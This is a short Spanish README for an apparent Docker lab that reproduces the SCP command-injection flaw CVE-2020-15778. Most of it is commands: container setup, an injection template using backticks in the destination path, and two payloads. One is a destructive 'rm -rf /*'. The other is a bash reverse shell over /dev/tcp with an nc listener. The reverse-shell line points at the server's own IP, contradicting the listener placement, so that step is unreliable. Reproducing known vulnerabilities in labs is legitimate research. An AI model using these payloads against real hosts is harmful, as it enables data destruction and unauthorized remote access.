
Reproduce el exploit de inyección de comandos SCP CVE-2020-15778 con una configuración cliente-servidor basada en Docker para probar la ejecución remota de código y payloads de shell inversa.
Este repositorio reproduce CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
Obtén la dirección IP interna del servidor scp con:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
En la terminal del cliente, ejecuta:
scp nil.txt root@<IP interna del servidor scp>:'`tu comando`/tmp'
La contraseña es "PASSWORD".
Aquí hay algunos ejemplos para este exploit.
scp nil.txt root@<IP interna del servidor scp>:'`rm -rf /*`/tmp'
Escucha en un puerto de la máquina cliente.
nc -lvvp 8080
Usa scp para forzar al servidor a mapear la bash interactiva hacia la máquina cliente.
scp nil.txt root@<IP interna del servidor scp>:'`bash -i >& /dev/tcp/<IP interna del servidor scp>/8080 0>& 1`/tmp'
La dirección IP del cliente se puede obtener con:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client